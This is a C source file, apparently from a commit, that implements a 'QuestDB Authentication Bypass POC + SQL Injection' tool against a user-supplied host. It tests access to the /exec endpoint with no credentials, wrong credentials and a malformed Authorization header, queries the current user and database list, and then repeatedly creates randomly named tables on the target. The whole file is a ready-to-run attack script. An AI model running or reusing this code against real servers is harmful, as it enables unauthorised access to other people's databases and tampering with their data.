1+ #include <stdio.h>
2+ #include <stdlib.h>
3+ #include <string.h>
4+ #include <unistd.h>
5+ #include <time.h>
6+ #include <getopt.h>
7+ #include <curl/curl.h>
8+
9+ #define DEFAULT_PORT 9000
10+ #define MAX_URL_LEN 512
11+ #define MAX_QUERY_LEN 1024
12+ #define RAND_CHARS "abcdefghijklmnopqrstuvwxyz"
13+
14+ struct MemoryStruct {
15+ char * memory_buffer ;
16+ size_t memory_size ;
17+ };
18+
19+ static size_t WriteMemoryCallback (void * content_data , size_t element_size , size_t element_count , void * user_data ) {
20+ size_t total_size = element_size * element_count ;
21+ struct MemoryStruct * memory_struct = (struct MemoryStruct * )user_data ;
22+
23+ char * reallocated_memory = realloc (memory_struct -> memory_buffer , memory_struct -> memory_size + total_size + 1 );
24+ if (!reallocated_memory ) {
25+ fprintf (stderr , "内存不足\n" );
26+ return 0 ;
27+ }
28+
29+ memory_struct -> memory_buffer = reallocated_memory ;
30+ memcpy (& (memory_struct -> memory_buffer [memory_struct -> memory_size ]), content_data , total_size );
31+ memory_struct -> memory_size += total_size ;
32+ memory_struct -> memory_buffer [memory_struct -> memory_size ] = 0 ;
33+
34+ return total_size ;
35+ }
36+
37+ char * http_get_request (const char * request_url , const char * user_credentials , const char * custom_header ) {
38+ CURL * curl_handle ;
39+ CURLcode curl_result ;
40+ struct MemoryStruct response_chunk ;
41+ response_chunk .memory_buffer = malloc (1 );
42+ response_chunk .memory_size = 0 ;
43+
44+ curl_global_init (CURL_GLOBAL_ALL );
45+ curl_handle = curl_easy_init ();
46+ if (!curl_handle ) {
47+ fprintf (stderr , "curl 初始化失败\n" );
48+ free (response_chunk .memory_buffer );
49+ return NULL ;
50+ }
51+
52+ curl_easy_setopt (curl_handle , CURLOPT_URL , request_url );
53+ curl_easy_setopt (curl_handle , CURLOPT_WRITEFUNCTION , WriteMemoryCallback );
54+ curl_easy_setopt (curl_handle , CURLOPT_WRITEDATA , (void * )& response_chunk );
55+ curl_easy_setopt (curl_handle , CURLOPT_TIMEOUT , 10L );
56+
57+ if (user_credentials ) {
58+ curl_easy_setopt (curl_handle , CURLOPT_USERPWD , user_credentials );
59+ }
60+
61+ if (custom_header ) {
62+ struct curl_slist * http_headers = NULL ;
63+ http_headers = curl_slist_append (http_headers , custom_header );
64+ curl_easy_setopt (curl_handle , CURLOPT_HTTPHEADER , http_headers );
65+ }
66+
67+ curl_result = curl_easy_perform (curl_handle );
68+ if (curl_result != CURLE_OK ) {
69+ fprintf (stderr , "curl 请求失败: %s\n" , curl_easy_strerror (curl_result ));
70+ free (response_chunk .memory_buffer );
71+ response_chunk .memory_buffer = NULL ;
72+ }
73+
74+ curl_easy_cleanup (curl_handle );
75+ curl_global_cleanup ();
76+ return response_chunk .memory_buffer ;
77+ }
78+
79+ void generate_random_string (char * buffer , size_t length ) {
80+ static const char charset [] = RAND_CHARS ;
81+ for (size_t i = 0 ; i < length ; i ++ ) {
82+ int random_index = rand () % (int )(sizeof (charset ) - 1 );
83+ buffer [i ] = charset [random_index ];
84+ }
85+ buffer [length ] = '\0' ;
86+ }
87+
88+ void inject_test_tables (const char * target_host , int loop_count ) {
89+ char base_exec_url [MAX_URL_LEN ];
90+ if (strncmp (target_host , "http://" , 7 ) == 0 || strncmp (target_host , "https://" , 8 ) == 0 ) {
91+ snprintf (base_exec_url , sizeof (base_exec_url ), "%s/exec" , target_host );
92+ } else {
93+ snprintf (base_exec_url , sizeof (base_exec_url ), "http://%s:%d/exec" , target_host , DEFAULT_PORT );
94+ }
95+
96+ srand (time (NULL ));
97+ for (int iteration = 0 ; iteration < loop_count ; iteration ++ ) {
98+ int table_name_length = 5 + rand () % 6 ;
99+ char table_name [16 ];
100+ generate_random_string (table_name , table_name_length );
101+
102+ int column_count = 2 + rand () % 9 ;
103+ char create_table_query [MAX_QUERY_LEN ] = "CREATE TABLE " ;
104+ strcat (create_table_query , table_name );
105+ strcat (create_table_query , " (" );
106+
107+ for (int column_index = 0 ; column_index < column_count ; column_index ++ ) {
108+ char column_name [8 ];
109+ generate_random_string (column_name , 5 );
110+ strcat (create_table_query , column_name );
111+ strcat (create_table_query , " INT" );
112+ if (column_index < column_count - 1 ) strcat (create_table_query , ", " );
113+ }
114+ strcat (create_table_query , ");" );
115+
116+ CURL * curl_handle = curl_easy_init ();
117+ if (!curl_handle ) {
118+ fprintf (stderr , "curl 初始化失败\n" );
119+ return ;
120+ }
121+ char * url_encoded_query = curl_easy_escape (curl_handle , create_table_query , 0 );
122+ if (!url_encoded_query ) {
123+ fprintf (stderr , "URL 编码失败\n" );
124+ curl_easy_cleanup (curl_handle );
125+ return ;
126+ }
127+
128+ char full_request_url [MAX_URL_LEN + MAX_QUERY_LEN + 16 ];
129+ snprintf (full_request_url , sizeof (full_request_url ), "%s?query=%s" , base_exec_url , url_encoded_query );
130+ curl_free (url_encoded_query );
131+ curl_easy_cleanup (curl_handle );
132+
133+ char * http_response = http_get_request (full_request_url , NULL , NULL );
134+ if (http_response ) {
135+ printf ("[%s] 正在注入表: %s | 响应长度: %zu\n" , __TIME__ , table_name , strlen (http_response ));
136+ free (http_response );
137+ } else {
138+ printf ("[%s] 正在注入表: %s | 请求失败\n" , __TIME__ , table_name );
139+ }
140+ usleep (100000 );
141+ }
142+ }
143+
144+ int main (int argc , char * argv []) {
145+ char * target_host = NULL ;
146+ int loop_count = 1 ;
147+ int command_option ;
148+
149+ while ((command_option = getopt (argc , argv , "u:l:" )) != -1 ) {
150+ switch (command_option ) {
151+ case 'u' :
152+ target_host = optarg ;
153+ break ;
154+ case 'l' :
155+ loop_count = atoi (optarg );
156+ if (loop_count <= 0 ) loop_count = 1 ;
157+ break ;
158+ default :
159+ fprintf (stderr , "用法: %s -u <主机地址> [-l <循环次数>]\n" , argv [0 ]);
160+ return 1 ;
161+ }
162+ }
163+
164+ if (!target_host ) {
165+ fprintf (stderr , "错误: 必须指定 -u 参数\n" );
166+ return 1 ;
167+ }
168+
169+ char base_exec_url [MAX_URL_LEN ];
170+ if (strncmp (target_host , "http://" , 7 ) == 0 || strncmp (target_host , "https://" , 8 ) == 0 ) {
171+ snprintf (base_exec_url , sizeof (base_exec_url ), "%s/exec" , target_host );
172+ } else {
173+ snprintf (base_exec_url , sizeof (base_exec_url ), "http://%s:%d/exec" , target_host , DEFAULT_PORT );
174+ }
175+
176+ printf ("[*] QuestDB Authentication Bypass POC + SQL Injection\n" );
177+ printf ("[*] 目标: %s\n" , target_host );
178+ printf ("\n" );
179+
180+ printf ("[1] 测试无凭证访问...\n" );
181+ char * no_credential_response = http_get_request (base_exec_url , NULL , NULL );
182+ if (no_credential_response ) {
183+ printf ("%s\n" , no_credential_response );
184+ free (no_credential_response );
185+ } else {
186+ printf ("请求失败\n" );
187+ }
188+ printf ("\n" );
189+
190+ printf ("[2] 测试错误凭证 (wrong:wrong)...\n" );
191+ char * wrong_credential_response = http_get_request (base_exec_url , "wrong:wrong" , NULL );
192+ if (wrong_credential_response ) {
193+ printf ("%s\n" , wrong_credential_response );
194+ free (wrong_credential_response );
195+ } else {
196+ printf ("请求失败\n" );
197+ }
198+ printf ("\n" );
199+
200+ printf ("[3] 测试畸形 Authorization 头...\n" );
201+ char * malformed_header_response = http_get_request (base_exec_url , NULL , "Authorization: Basic invalid" );
202+ if (malformed_header_response ) {
203+ printf ("%s\n" , malformed_header_response );
204+ free (malformed_header_response );
205+ } else {
206+ printf ("请求失败\n" );
207+ }
208+ printf ("\n" );
209+
210+ printf ("[4] 尝试读取系统信息...\n" );
211+ CURL * curl_handle = curl_easy_init ();
212+ if (curl_handle ) {
213+ char * system_info_query = curl_easy_escape (curl_handle , "select current_database(),current_user()" , 0 );
214+ if (system_info_query ) {
215+ char system_info_url [MAX_URL_LEN + 128 ];
216+ snprintf (system_info_url , sizeof (system_info_url ), "%s?query=%s" , base_exec_url , system_info_query );
217+ curl_free (system_info_query );
218+ char * system_info_response = http_get_request (system_info_url , NULL , NULL );
219+ if (system_info_response ) {
220+ printf ("%s\n" , system_info_response );
221+ free (system_info_response );
222+ } else {
223+ printf ("请求失败\n" );
224+ }
225+ }
226+ curl_easy_cleanup (curl_handle );
227+ }
228+ printf ("\n" );
229+
230+ printf ("[5] 获取数据库列表...\n" );
231+ curl_handle = curl_easy_init ();
232+ if (curl_handle ) {
233+ char * databases_query = curl_easy_escape (curl_handle , "show databases" , 0 );
234+ if (databases_query ) {
235+ char databases_url [MAX_URL_LEN + 128 ];
236+ snprintf (databases_url , sizeof (databases_url ), "%s?query=%s" , base_exec_url , databases_query );
237+ curl_free (databases_query );
238+ char * databases_response = http_get_request (databases_url , NULL , NULL );
239+ if (databases_response ) {
240+ printf ("%s\n" , databases_response );
241+ free (databases_response );
242+ } else {
243+ printf ("请求失败\n" );
244+ }
245+ }
246+ curl_easy_cleanup (curl_handle );
247+ }
248+ printf ("\n" );
249+ printf ("[*] POC 完成 - 如果看到查询结果,说明漏洞存在\n" );
250+ printf ("\n" );
251+
252+ printf ("正在对 %s 开始注入,共执行 %d 次...\n" , target_host , loop_count );
253+ inject_test_tables (target_host , loop_count );
254+ printf ("任务完成。\n" );
255+
256+ return 0 ;
257+ }
0 commit comments